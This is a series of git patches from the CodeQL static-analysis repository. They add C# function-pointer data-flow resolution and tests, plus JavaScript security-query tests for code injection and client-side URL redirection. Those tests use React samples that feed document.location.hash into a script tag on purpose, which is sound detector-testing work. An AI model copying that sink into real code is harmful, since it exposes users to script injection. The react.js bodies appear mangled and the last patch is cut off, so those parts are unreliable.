csharp/ql/test/library-tests/dataflow/functionpointers/FunctionPointerFlow.ql diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/FunctionPointerDataFlow.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/FunctionPointerDataFlow.qll new file mode 100755 index 00000000000..495beb93a22 --- /dev/null +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/FunctionPointerDataFlow.qll @@ -0,0 +1,205 @@ +/** + * INTERNAL: Do not use. + * + * Provides classes for resolving function pointer calls. + */ + +import csharp +private import dotnet +private import semmle.code.csharp.dataflow.CallContext +private import semmle.code.csharp.dataflow.internal.DataFlowDispatch +private import semmle.code.csharp.dataflow.internal.DataFlowPrivate +private import semmle.code.csharp.dataflow.internal.DataFlowPublic +private import semmle.code.csharp.dataflow.FlowSummary +private import semmle.code.csharp.dispatch.Dispatch +private import semmle.code.csharp.frameworks.system.linq.Expressions + +/** A source of flow for a function pointer expression. */ +private class FunctionPointerFlowSource extends DataFlow::ExprNode { + Callable c; + + FunctionPointerFlowSource() { + this.getExpr() = + any(Expr e | + c = e.(AddressOfExpr).getOperand().(CallableAccess).getTarget().getUnboundDeclaration() + ) + } + + /** Gets the callable that is referenced in this function pointer flow source. */ + Callable getCallable() { result = c } +} + +/** A sink of flow for a function pointer expression. */ +abstract private class FunctionPointerFlowSink extends DataFlow::Node { + /** + * Gets an actual run-time target of this function pointer call in the given call + * context, if any. The call context records the *last* call required to + * resolve the target, if any. + * + * See examples in `DelegateFlowSink`. + */ + cached + Callable getARuntimeTarget(CallContext context) { + exists(FunctionPointerFlowSource fptrfs | + flowsFrom(this, fptrfs, _, context) and + result = fptrfs.getCallable() + ) + } +} + +/** A function pointer call expression. */ +class FunctionPointerCallExpr extends FunctionPointerFlowSink, DataFlow::ExprNode { + FunctionPointerCall fptrc; + + FunctionPointerCallExpr() { this.getExpr() = fptrc.getFunctionPointerExpr() } + + /** Gets the function pointer call that this expression belongs to. */ + FunctionPointerCall getFunctionPointerCall() { result = fptrc } +} + +/** A non-function pointer call. */ +private class NonFunctionPointerCall extends Expr { + private DispatchCall dc; + + NonFunctionPointerCall() { this = dc.getCall() } + + /** + * Gets a run-time target of this call. A target is always a source + * declaration, and if the callable has both CIL and source code, only + * the source code version is returned. + */ + Callable getARuntimeTarget() { result = getCallableForDataFlow(dc.getADynamicTarget()) } + + /** Gets the `i`th argument of this call. */ + Expr getArgument(int i) { result = dc.getArgument(i) } +} + +private class NormalReturnNode extends Node { + NormalReturnNode() { this.(ReturnNode).getKind() instanceof NormalReturnKind } +} + +/** + * Holds if data can flow (inter-procedurally) to function pointer `sink` from + * `node`. This predicate searches backwards from `sink` to `node`. + * + * The parameter `isReturned` indicates whether the path from `sink` to + * `node` goes through a returned expression. The call context `lastCall` + * records the last call on the path from `node` to `sink`, if any. + */ +private predicate flowsFrom( + FunctionPointerFlowSink sink, DataFlow::Node node, boolean isReturned, CallContext lastCall +) { + // Base case + sink = node and + isReturned = false and + lastCall instanceof EmptyCallContext + or + // Local flow + exists(DataFlow::Node mid | flowsFrom(sink, mid, isReturned, lastCall) | + LocalFlow::localFlowStepCommon(node, mid) + or + exists(Ssa::Definition def | + LocalFlow::localSsaFlowStep(def, node, mid) and + LocalFlow::usesInstanceField(def) + ) + ) + or + // Flow through static field or property + exists(DataFlow::Node mid | + flowsFrom(sink, mid, _, _) and + jumpStep(node, mid) and + isReturned = false and + lastCall instanceof EmptyCallContext + ) + or + // Flow into a callable (non-function pointer call) + exists(ParameterNode mid, CallContext prevLastCall, NonFunctionPointerCall call, Parameter p | + flowsFrom(sink, mid, isReturned, prevLastCall) and + isReturned = false and + p = mid.getParameter() and + flowIntoNonFunctionPointerCall(call, node.asExpr(), p) and + lastCall = getLastCall(prevLastCall, call, p.getPosition()) + ) + or + // Flow into a callable (function pointer call) + exists( + ParameterNode mid, CallContext prevLastCall, FunctionPointerCall call, Callable c, Parameter p, + int i + | + flowsFrom(sink, mid, isReturned, prevLastCall) and + isReturned = false and + flowIntoFunctionPointerCall(call, c, node.asExpr(), i) and + c.getParameter(i) = p and + p = mid.getParameter() and + lastCall = getLastCall(prevLastCall, call, i) + ) + or + // Flow out of a callable (non-function pointer call). + exists(DataFlow::ExprNode mid | + flowsFrom(sink, mid, _, lastCall) and + isReturned = true and + flowOutOfNonFunctionPointerCall(mid.getExpr(), node) + ) + or + // Flow out of a callable (function pointer call). + exists(DataFlow::ExprNode mid | + flowsFrom(sink, mid, _, _) and + isReturned = true and + flowOutOfFunctionPointerCall(mid.getExpr(), node, lastCall) + ) +} + +/** + * Gets the last call when tracking flow into `call`. The context + * `prevLastCall` is the previous last call, so the result is the + * previous call if it exists, otherwise `call` is the last call. + */ +bindingset[call, i] +private CallContext getLastCall(CallContext prevLastCall, Expr call, int i) { + prevLastCall instanceof EmptyCallContext and + result.(ArgumentCallContext).isArgument(call, i) + or + prevLastCall instanceof ArgumentCallContext and + result = prevLastCall +} + +pragma[noinline] +private predicate flowIntoNonFunctionPointerCall( + NonFunctionPointerCall call, Expr arg, DotNet::Parameter p +) { + exists(DotNet::Callable callable, int i | + callable = call.getARuntimeTarget() and + p = callable.getAParameter() and + arg = call.getArgument(i) and + i = p.getPosition() + ) +} + +pragma[noinline] +private predicate flowIntoFunctionPointerCall(FunctionPointerCall call, Callable c, Expr arg, int i) { + exists(FunctionPointerFlowSource fptrfs, FunctionPointerCallExpr fptrce | + // the call context is irrelevant because the function pointer call + // itself will be the context + flowsFrom(fptrce, fptrfs, _, _) and + arg = call.getArgument(i) and + c = fptrfs.getCallable() and + call = fptrce.getFunctionPointerCall() + ) +} + +pragma[noinline] +private predicate flowOutOfNonFunctionPointerCall(NonFunctionPointerCall call, NormalReturnNode ret) { + call.getARuntimeTarget() = ret.getEnclosingCallable() +} + +pragma[noinline] +private predicate flowOutOfFunctionPointerCall( + FunctionPointerCall call, NormalReturnNode ret, CallContext lastCall +) { + exists(FunctionPointerFlowSource fptrfs, FunctionPointerCallExpr fptrce, Callable c | + flowsFrom(fptrce, fptrfs, _, lastCall) and + ret.getEnclosingCallable() = c and + c = fptrfs.getCallable() and + call = fptrce.getFunctionPointerCall() + ) +} diff --git a/csharp/ql/src/semmle/code/csharp/exprs/Call.qll b/csharp/ql/src/semmle/code/csharp/exprs/Call.qll index a5348040d54..eb04d14d015 100644 --- a/csharp/ql/src/semmle/code/csharp/exprs/Call.qll +++ b/csharp/ql/src/semmle/code/csharp/exprs/Call.qll @@ -8,6 +8,7 @@ import Expr import semmle.code.csharp.Callable import semmle.code.csharp.dataflow.CallContext as CallContext private import semmle.code.csharp.dataflow.internal.DelegateDataFlow +private import semmle.code.csharp.dataflow.internal.FunctionPointerDataFlow private import semmle.code.csharp.dispatch.Dispatch private import dotnet @@ -618,8 +619,24 @@ class DelegateCall extends Call, @delegate_invocation_expr { class FunctionPointerCall extends Call, @function_pointer_invocation_expr { override Callable getTarget() { none() } + /** + * Gets a potential run-time target of this function pointer call in the given + * call context `cc`. + */ + Callable getARuntimeTarget(CallContext::CallContext cc) { + exists(FunctionPointerCallExpr call | + this = call.getFunctionPointerCall() and + result = call.getARuntimeTarget(cc) + ) + } + + override Callable getARuntimeTarget() { result = getARuntimeTarget(_) } + override Expr getRuntimeArgument(int i) { result = getArgument(i) } + /** Gets the function pointer expression of this call. */ + Expr getFunctionPointerExpr() { result = this.getChild(-1) } + override string toString() { result = "function pointer call" } override string getAPrimaryQlClass() { result = "FunctionPointerCall" } diff --git a/csharp/ql/test/library-tests/dataflow/functionpointers/FunctionPointerFlow.cs b/csharp/ql/test/library-tests/dataflow/functionpointers/FunctionPointerFlow.cs new file mode 100644 index 00000000000..0ebbef4942d --- /dev/null +++ b/csharp/ql/test/library-tests/dataflow/functionpointers/FunctionPointerFlow.cs @@ -0,0 +1,83 @@ +using System; + +unsafe class FunctionPointerFlow +{ + public static void Log1(int i) { } + public static void Log2(int i) { } + public static void Log3(int i) { } + public static void Log4(int i) { } + public static void Log5(int i) { } + public static void Log6(int i) { } + + public static void M2(delegate*<int, void> a) + { + a(1); + a = &Log3; + a(2); + } + + public void M3() + { + M2(&Log1); + } + + public static void M4(delegate*<int, void> a) + { + M2(a); + } + + public void M5() + { + M4(&Log2); + } + + public delegate*<int, void> M6() + { + return &Log4; + } + + public void M7() + { + M6()(0); + } + + public void M8() + { + static void LocalFunction(int i) { }; + M2(&LocalFunction); + } + + private static delegate*<int, void> field = &Log5; + + public void M9() + { + field(1); + } + + public void M10(delegate*<delegate*<int, void>, void> aa, delegate*<int, void> a) + { + aa(a); + } + + public void M11() + { + M10(&M4, &Log6); + } + + public void M16(delegate*<Action<int>, void> aa, Action<int> a) + { + aa(a); + } + + public static void M17(Action<int> a) + { + a(0); + a = _ => { }; + a(0); + } + + public void M18() + { + M16(&M17, (i) => { }); + } +} diff --git a/csharp/ql/test/library-tests/dataflow/functionpointers/FunctionPointerFlow.expected b/csharp/ql/test/library-tests/dataflow/functionpointers/FunctionPointerFlow.expected new file mode 100644 index 00000000000..ad2bfb887c0 --- /dev/null +++ b/csharp/ql/test/library-tests/dataflow/functionpointers/FunctionPointerFlow.expected @@ -0,0 +1,9 @@ +| FunctionPointerFlow.cs:14:9:14:12 | function pointer call | FunctionPointerFlow.cs:5:24:5:27 | Log1 | FunctionPointerFlow.cs:21:12:21:16 | &... | +| FunctionPointerFlow.cs:14:9:14:12 | function pointer call | FunctionPointerFlow.cs:6:24:6:27 | Log2 | FunctionPointerFlow.cs:26:12:26:12 | access to parameter a | +| FunctionPointerFlow.cs:14:9:14:12 | function pointer call | FunctionPointerFlow.cs:10:24:10:27 | Log6 | FunctionPointerFlow.cs:26:12:26:12 | access to parameter a | +| FunctionPointerFlow.cs:14:9:14:12 | function pointer call | FunctionPointerFlow.cs:46:9:46:44 | LocalFunction | FunctionPointerFlow.cs:47:12:47:25 | &... | +| FunctionPointerFlow.cs:16:9:16:12 | function pointer call | FunctionPointerFlow.cs:7:24:7:27 | Log3 | file://:0:0:0:0 | <empty> | +| FunctionPointerFlow.cs:41:9:41:15 | function pointer call | FunctionPointerFlow.cs:8:24:8:27 | Log4 | file://:0:0:0:0 | <empty> | +| FunctionPointerFlow.cs:54:9:54:16 | function pointer call | FunctionPointerFlow.cs:9:24:9:27 | Log5 | file://:0:0:0:0 | <empty> | +| FunctionPointerFlow.cs:59:9:59:13 | function pointer call | FunctionPointerFlow.cs:24:24:24:25 | M4 | FunctionPointerFlow.cs:64:13:64:15 | &... | +| FunctionPointerFlow.cs:69:9:69:13 | function pointer call | FunctionPointerFlow.cs:72:24:72:26 | M17 | FunctionPointerFlow.cs:81:13:81:16 | &... | diff --git a/csharp/ql/test/library-tests/dataflow/functionpointers/FunctionPointerFlow.ql b/csharp/ql/test/library-tests/dataflow/functionpointers/FunctionPointerFlow.ql new file mode 100644 index 00000000000..3434d068329 --- /dev/null +++ b/csharp/ql/test/library-tests/dataflow/functionpointers/FunctionPointerFlow.ql @@ -0,0 +1,5 @@ +import csharp + +query predicate fptrCall(FunctionPointerCall fptrc, Callable c, CallContext::CallContext cc) { + c = fptrc.getARuntimeTarget(cc) +} From 91152d3a65dcdbc989602c57379bbb5462a95303 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Fri, 29 Jan 2021 12:02:11 +0100 Subject: [PATCH 0916/1241] Add additional tests to delegate call data flow --- .../dataflow/delegates/DelegateFlow.cs | 20 +++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/csharp/ql/test/library-tests/dataflow/delegates/DelegateFlow.cs b/csharp/ql/test/library-tests/dataflow/delegates/DelegateFlow.cs index 9479cca940d..68a91d02698 100644 --- a/csharp/ql/test/library-tests/dataflow/delegates/DelegateFlow.cs +++ b/csharp/ql/test/library-tests/dataflow/delegates/DelegateFlow.cs @@ -4,11 +4,11 @@ class DelegateFlow { void M1(int i) { } - void M2(Action<int> a) + static void M2(Action<int> a) { a(0); a = _ => { }; - a(0); + a(1); } void M3() @@ -108,4 +108,20 @@ class DelegateFlow } public delegate void MyDelegate(); + + public unsafe void M16(delegate*<Action<int>, void> fnptr, Action<int> a) + { + fnptr(a); + } + + public unsafe void M17() + { + M16(&M2, (i) => {}); // MISSING: a(0) in M2 is calling this lambda + } + + public unsafe void M18() + { + delegate*<Action<int>, void> fnptr = &M2; + fnptr((i) => {}); // MISSING: a(0) in M2 is calling this lambda + } } From 76c9b6466e78481c7e6f0cc75ef1224b9a407c06 Mon Sep 17 00:00:00 2001 From: Luke Cartey <5377966+lcartey@users.noreply.github.com> Date: Fri, 29 Jan 2021 11:27:30 +0000 Subject: [PATCH 0917/1241] Reformat TaintTrackingUtil.qll with more recent CodeQL CLI --- .../semmle/code/java/dataflow/internal/TaintTrackingUtil.qll | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/java/ql/src/semmle/code/java/dataflow/internal/TaintTrackingUtil.qll b/java/ql/src/semmle/code/java/dataflow/internal/TaintTrackingUtil.qll index 35f820f9521..69189d949f1 100644 --- a/java/ql/src/semmle/code/java/dataflow/internal/TaintTrackingUtil.qll +++ b/java/ql/src/semmle/code/java/dataflow/internal/TaintTrackingUtil.qll @@ -686,8 +686,7 @@ private class FormatterCallable extends TaintPreservingCallable { ( this.hasName(["format", "out", "toString"]) or - this - .(Constructor) + this.(Constructor) .getParameterType(0) .(RefType) .getASourceSupertype*() From 39591687ba450af025e1a7c9685dfa3ff002b891 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Fri, 29 Jan 2021 12:50:17 +0100 Subject: [PATCH 0918/1241] add `js/code-injection` sink for script tags in React --- .../dataflow/CodeInjectionCustomizations.qll | 11 +++++++++++ .../CodeInjection/CodeInjection.expected | 9 +++++++++ .../Security/CWE-094/CodeInjection/react.js | 17 +++++++++++++++++ 3 files changed, 37 insertions(+) create mode 100644 javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/react.js diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/CodeInjectionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/CodeInjectionCustomizations.qll index 4f4a287d3f0..b4f150587d3 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/CodeInjectionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/CodeInjectionCustomizations.qll @@ -112,6 +112,17 @@ module CodeInjection { } } + /** + * A body element from a script tag inside React code. + */ + class ReactScriptTag extends Sink { + ReactScriptTag() { + exists(JSXElement element | element.getName() = "script" | + this = element.getBodyElement(_).flow() + ) + } + } + /** * An event handler attribute as a code injection sink. */ diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/CodeInjection.expected b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/CodeInjection.expected index 2c4bf4bbf98..12e691f5e32 100644 --- a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/CodeInjection.expected +++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/CodeInjection.expected @@ -118,6 +118,10 @@ nodes | react-native.js:8:32:8:38 | tainted | | react-native.js:10:23:10:29 | tainted | | react-native.js:10:23:10:29 | tainted | +| react.js:10:56:10:72 | document.location | +| react.js:10:56:10:72 | document.location | +| react.js:10:56:10:77 | documen ... on.hash | +| react.js:10:56:10:77 | documen ... on.hash | | template-sinks.js:12:9:12:31 | tainted | | template-sinks.js:12:19:12:31 | req.query.foo | | template-sinks.js:12:19:12:31 | req.query.foo | @@ -275,6 +279,10 @@ edges | react-native.js:7:7:7:33 | tainted | react-native.js:10:23:10:29 | tainted | | react-native.js:7:17:7:33 | req.param("code") | react-native.js:7:7:7:33 | tainted | | react-native.js:7:17:7:33 | req.param("code") | react-native.js:7:7:7:33 | tainted | +| react.js:10:56:10:72 | document.location | react.js:10:56:10:77 | documen ... on.hash | +| react.js:10:56:10:72 | document.location | react.js:10:56:10:77 | documen ... on.hash | +| react.js:10:56:10:72 | document.location | react.js:10:56:10:77 | documen ... on.hash | +| react.js:10:56:10:72 | document.location | react.js:10:56:10:77 | documen ... on.hash | | template-sinks.js:12:9:12:31 | tainted | template-sinks.js:14:17:14:23 | tainted | | template-sinks.js:12:9:12:31 | tainted | template-sinks.js:14:17:14:23 | tainted | | template-sinks.js:12:9:12:31 | tainted | template-sinks.js:15:16:15:22 | tainted | @@ -352,6 +360,7 @@ edges | module.js:9:16:9:29 | req.query.code | module.js:9:16:9:29 | req.query.code | module.js:9:16:9:29 | req.query.code | $@ flows to here and is interpreted as code. | module.js:9:16:9:29 | req.query.code | User-provided value | | react-native.js:8:32:8:38 | tainted | react-native.js:7:17:7:33 | req.param("code") | react-native.js:8:32:8:38 | tainted | $@ flows to here and is interpreted as code. | react-native.js:7:17:7:33 | req.param("code") | User-provided value | | react-native.js:10:23:10:29 | tainted | react-native.js:7:17:7:33 | req.param("code") | react-native.js:10:23:10:29 | tainted | $@ flows to here and is interpreted as code. | react-native.js:7:17:7:33 | req.param("code") | User-provided value | +| react.js:10:56:10:77 | documen ... on.hash | react.js:10:56:10:72 | document.location | react.js:10:56:10:77 | documen ... on.hash | $@ flows to here and is interpreted as code. | react.js:10:56:10:72 | document.location | User-provided value | | template-sinks.js:14:17:14:23 | tainted | template-sinks.js:12:19:12:31 | req.query.foo | template-sinks.js:14:17:14:23 | tainted | $@ flows to here and is interpreted as a template, which may contain code. | template-sinks.js:12:19:12:31 | req.query.foo | User-provided value | | template-sinks.js:15:16:15:22 | tainted | template-sinks.js:12:19:12:31 | req.query.foo | template-sinks.js:15:16:15:22 | tainted | $@ flows to here and is interpreted as a template, which may contain code. | template-sinks.js:12:19:12:31 | req.query.foo | User-provided value | | template-sinks.js:16:18:16:24 | tainted | template-sinks.js:12:19:12:31 | req.query.foo | template-sinks.js:16:18:16:24 | tainted | $@ flows to here and is interpreted as a template, which may contain code. | template-sinks.js:12:19:12:31 | req.query.foo | User-provided value | diff --git a/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/react.js b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/react.js new file mode 100644 index 00000000000..54047c6f3cb --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-094/CodeInjection/react.js @@ -0,0 +1,17 @@ +import React from "react"; +import {Helmet} from "react-helmet"; + +class Application extends React.Component { + render () { + return ( + <div className="application"> + <Helmet> + <title>My unsafe + + +
  • + ); + } +}; + +export default Application \ No newline at end of file From c9ec983cd8ac8fe13f5970e5cbba4effbc7657b6 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Fri, 29 Jan 2021 12:50:43 +0100 Subject: [PATCH 0919/1241] add `js/client-side-unvalidated-url-redirection` test for script tags inside react code --- .../ClientSideUrlRedirect.expected | 9 +++++++++ .../CWE-601/ClientSideUrlRedirect/react.js | 17 +++++++++++++++++ 2 files changed, 26 insertions(+) create mode 100644 javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/react.js diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/ClientSideUrlRedirect.expected b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/ClientSideUrlRedirect.expected index 7c353aa61b6..d2a20e00bee 100644 --- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/ClientSideUrlRedirect.expected +++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/ClientSideUrlRedirect.expected @@ -3,6 +3,10 @@ nodes | electron.js:4:12:4:22 | window.name | | electron.js:7:20:7:29 | getTaint() | | electron.js:7:20:7:29 | getTaint() | +| react.js:10:60:10:76 | document.location | +| react.js:10:60:10:76 | document.location | +| react.js:10:60:10:81 | documen ... on.hash | +| react.js:10:60:10:81 | documen ... on.hash | | sanitizer.js:2:9:2:25 | url | | sanitizer.js:2:15:2:25 | window.name | | sanitizer.js:2:15:2:25 | window.name | @@ -189,6 +193,10 @@ edges | electron.js:4:12:4:22 | window.name | electron.js:7:20:7:29 | getTaint() | | electron.js:4:12:4:22 | window.name | electron.js:7:20:7:29 | getTaint() | | electron.js:4:12:4:22 | window.name | electron.js:7:20:7:29 | getTaint() | +| react.js:10:60:10:76 | document.location | react.js:10:60:10:81 | documen ... on.hash | +| react.js:10:60:10:76 | document.location | react.js:10:60:10:81 | documen ... on.hash | +| react.js:10:60:10:76 | document.location | react.js:10:60:10:81 | documen ... on.hash | +| react.js:10:60:10:76 | document.location | react.js:10:60:10:81 | documen ... on.hash | | sanitizer.js:2:9:2:25 | url | sanitizer.js:4:27:4:29 | url | | sanitizer.js:2:9:2:25 | url | sanitizer.js:4:27:4:29 | url | | sanitizer.js:2:9:2:25 | url | sanitizer.js:16:27:16:29 | url | @@ -358,6 +366,7 @@ edges | typed.ts:28:24:28:34 | redirectUri | typed.ts:29:33:29:43 | redirectUri | #select | electron.js:7:20:7:29 | getTaint() | electron.js:4:12:4:22 | window.name | electron.js:7:20:7:29 | getTaint() | Untrusted URL redirection due to $@. | electron.js:4:12:4:22 | window.name | user-provided value | +| react.js:10:60:10:81 | documen ... on.hash | react.js:10:60:10:76 | document.location | react.js:10:60:10:81 | documen ... on.hash | Untrusted URL redirection due to $@. | react.js:10:60:10:76 | document.location | user-provided value | | sanitizer.js:4:27:4:29 | url | sanitizer.js:2:15:2:25 | window.name | sanitizer.js:4:27:4:29 | url | Untrusted URL redirection due to $@. | sanitizer.js:2:15:2:25 | window.name | user-provided value | | sanitizer.js:16:27:16:29 | url | sanitizer.js:2:15:2:25 | window.name | sanitizer.js:16:27:16:29 | url | Untrusted URL redirection due to $@. | sanitizer.js:2:15:2:25 | window.name | user-provided value | | sanitizer.js:19:27:19:29 | url | sanitizer.js:2:15:2:25 | window.name | sanitizer.js:19:27:19:29 | url | Untrusted URL redirection due to $@. | sanitizer.js:2:15:2:25 | window.name | user-provided value | diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/react.js b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/react.js new file mode 100644 index 00000000000..028b31dee15 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/react.js @@ -0,0 +1,17 @@ +import React from "react"; +import {Helmet} from "react-helmet"; + +class Application extends React.Component { + render () { + return ( +
    + + My unsafe app + + \ No newline at end of file diff --git a/javascript/extractor/tests/html/output/trap/json_in_script.html.trap b/javascript/extractor/tests/html/output/trap/json_in_script.html.trap new file mode 100644 index 00000000000..f7855255420 --- /dev/null +++ b/javascript/extractor/tests/html/output/trap/json_in_script.html.trap @@ -0,0 +1,34 @@ +#10000=@"/json_in_script.html;sourcefile" +files(#10000,"/json_in_script.html","json_in_script","html",0) +#10001=@"/;folder" +folders(#10001,"/","") +containerparent(#10001,#10000) +#10002=@"loc,{#10000},0,0,0,0" +locations_default(#10002,#10000,0,0,0,0) +hasLocation(#10000,#10002) +#20000=@"global_scope" +scopes(#20000,0) +#20001=* +json(#20001,5,#10000,0,"{""Hello"": 123}") +#20002=@"loc,{#10000},3,1,3,14" +locations_default(#20002,#10000,3,1,3,14) +json_locations(#20001,#20002) +#20003=* +json(#20003,2,#20001,0,"123") +#20004=@"loc,{#10000},3,11,3,13" +locations_default(#20004,#10000,3,11,3,13) +json_locations(#20003,#20004) +json_literals("123","123",#20003) +json_properties(#20001,"Hello",#20003) +#20005=* +xmlElements(#20005,"html",#10000,0,#10000) +#20006=@"loc,{#10000},1,1,5,7" +locations_default(#20006,#10000,1,1,5,7) +xmllocations(#20005,#20006) +#20007=* +xmlElements(#20007,"script",#20005,0,#10000) +#20008=@"loc,{#10000},2,1,4,9" +locations_default(#20008,#10000,2,1,4,9) +xmllocations(#20007,#20008) +numlines(#10000,5,0,0) +filetype(#10000,"html") From 0ceb8aa6380c9305f1f2905f9c5f87893eb13df1 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Fri, 5 Feb 2021 21:55:43 +0000 Subject: [PATCH 1099/1241] JS: Bump extractor version --- javascript/extractor/src/com/semmle/js/extractor/Main.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/extractor/src/com/semmle/js/extractor/Main.java b/javascript/extractor/src/com/semmle/js/extractor/Main.java index fa4c138842a..b9fb9237556 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/Main.java +++ b/javascript/extractor/src/com/semmle/js/extractor/Main.java @@ -43,7 +43,7 @@ public class Main { * A version identifier that should be updated every time the extractor changes in such a way that * it may produce different tuples for the same file under the same {@link ExtractorConfig}. */ - public static final String EXTRACTOR_VERSION = "2020-12-11"; + public static final String EXTRACTOR_VERSION = "2021-02-05"; public static final Pattern NEWLINE = Pattern.compile("\n"); From ddd362bc16eaf0049aeda6fc5e7204982404008a Mon Sep 17 00:00:00 2001 From: yoff Date: Fri, 5 Feb 2021 23:31:20 +0100 Subject: [PATCH 1100/1241] Update python/ql/src/semmle/python/frameworks/Django.qll Co-authored-by: Rasmus Wriedt Larsen --- python/ql/src/semmle/python/frameworks/Django.qll | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index 3832f5c410e..fd43d938806 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -2314,6 +2314,13 @@ private module Django { DjangoShortcutsRedirectCall() { node.getFunction() = django::shortcuts::redirect().asCfgNode() } + /** + * Gets the data-flow node that specifies the location of this HTTP redirect response. + * + * Note: For `django.shortcuts.redirect`, the result might not be a full URL + * (as usually expected by this method), but could be a relative URL, + * a string identifying a view, or a Django model. + */ override DataFlow::Node getRedirectLocation() { result.asCfgNode() in [node.getArg(0), node.getArgByName("to")] } From 7c506f445ce8597cdd3bd66df777c49d93e19785 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Fri, 6 Nov 2020 13:02:41 +0100 Subject: [PATCH 1101/1241] C#: Extract underlying methods of foreach statements --- .../2021-02-02-foreach-underlying-methods.md | 3 + .../Entities/Statements/ForEach.cs | 14 ++- .../Semmle.Extraction.CSharp/Tuples.cs | 6 + csharp/ql/src/Dead Code/DeadCode.qll | 2 + .../raw/internal/desugar/Foreach.qll | 39 +------ csharp/ql/src/semmle/code/csharp/Stmt.qll | 21 ++++ csharp/ql/src/semmlecode.csharp.dbscheme | 9 ++ .../library-tests/csharp9/ForeachExtension.cs | 50 +++++++++ .../library-tests/csharp9/PrintAst.expected | 103 ++++++++++++++++++ .../library-tests/csharp9/foreach.expected | 4 + .../ql/test/library-tests/csharp9/foreach.ql | 15 +++ .../csharp9/typeParameterNullability.expected | 2 - .../csharp9/typeParameterNullability.ql | 6 +- csharp/upgrades/TO_CHANGE/upgrade.properties | 2 + 14 files changed, 235 insertions(+), 41 deletions(-) create mode 100644 csharp/change-notes/2021-02-02-foreach-underlying-methods.md create mode 100644 csharp/ql/test/library-tests/csharp9/ForeachExtension.cs create mode 100644 csharp/ql/test/library-tests/csharp9/foreach.expected create mode 100644 csharp/ql/test/library-tests/csharp9/foreach.ql create mode 100644 csharp/upgrades/TO_CHANGE/upgrade.properties diff --git a/csharp/change-notes/2021-02-02-foreach-underlying-methods.md b/csharp/change-notes/2021-02-02-foreach-underlying-methods.md new file mode 100644 index 00000000000..a9e934a0e5d --- /dev/null +++ b/csharp/change-notes/2021-02-02-foreach-underlying-methods.md @@ -0,0 +1,3 @@ +lgtm,codescanning +* The underlying methods of `foreach` statements are now explicitly extracted and +they are made available on the `ForeachStmt` class. diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/ForEach.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/ForEach.cs index 262b3f0e328..ebd0f301b42 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/ForEach.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Statements/ForEach.cs @@ -18,11 +18,12 @@ namespace Semmle.Extraction.CSharp.Entities.Statements return ret; } - protected override void PopulateStatement(TextWriter _) + protected override void PopulateStatement(TextWriter trapFile) { Expression.Create(cx, Stmt.Expression, this, 1); - var typeSymbol = cx.GetModel(Stmt).GetDeclaredSymbol(Stmt); + var semanticModel = cx.GetModel(Stmt); + var typeSymbol = semanticModel.GetDeclaredSymbol(Stmt); var type = typeSymbol.GetAnnotatedType(); var location = cx.Create(Stmt.Identifier.GetLocation()); @@ -30,6 +31,15 @@ namespace Semmle.Extraction.CSharp.Entities.Statements Expressions.VariableDeclaration.Create(cx, typeSymbol, type, Stmt.Type, location, Stmt.Type.IsVar, this, 0); Statement.Create(cx, Stmt.Statement, this, 2); + + var info = semanticModel.GetForEachStatementInfo(Stmt); + var getEnumerator = Method.Create(cx, info.GetEnumeratorMethod); + var currentProp = Property.Create(cx, info.CurrentProperty); + var moveNext = Method.Create(cx, info.MoveNextMethod); + var dispose = Method.Create(cx, info.DisposeMethod); + var elementType = Type.Create(cx, info.ElementType); + + trapFile.foreach_stmt_info(this, elementType, getEnumerator, moveNext, dispose, currentProp, info.IsAsynchronous); } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs index ec2bd66d32e..cfb797f6ff7 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs @@ -53,6 +53,12 @@ namespace Semmle.Extraction.CSharp trapFile.WriteTuple("catch_type", @catch, type, explicityCaught ? 1 : 2); } + internal static void foreach_stmt_info(this TextWriter trapFile, Entities.Statements.ForEach @foreach, Type element, Method getEnumerator, + 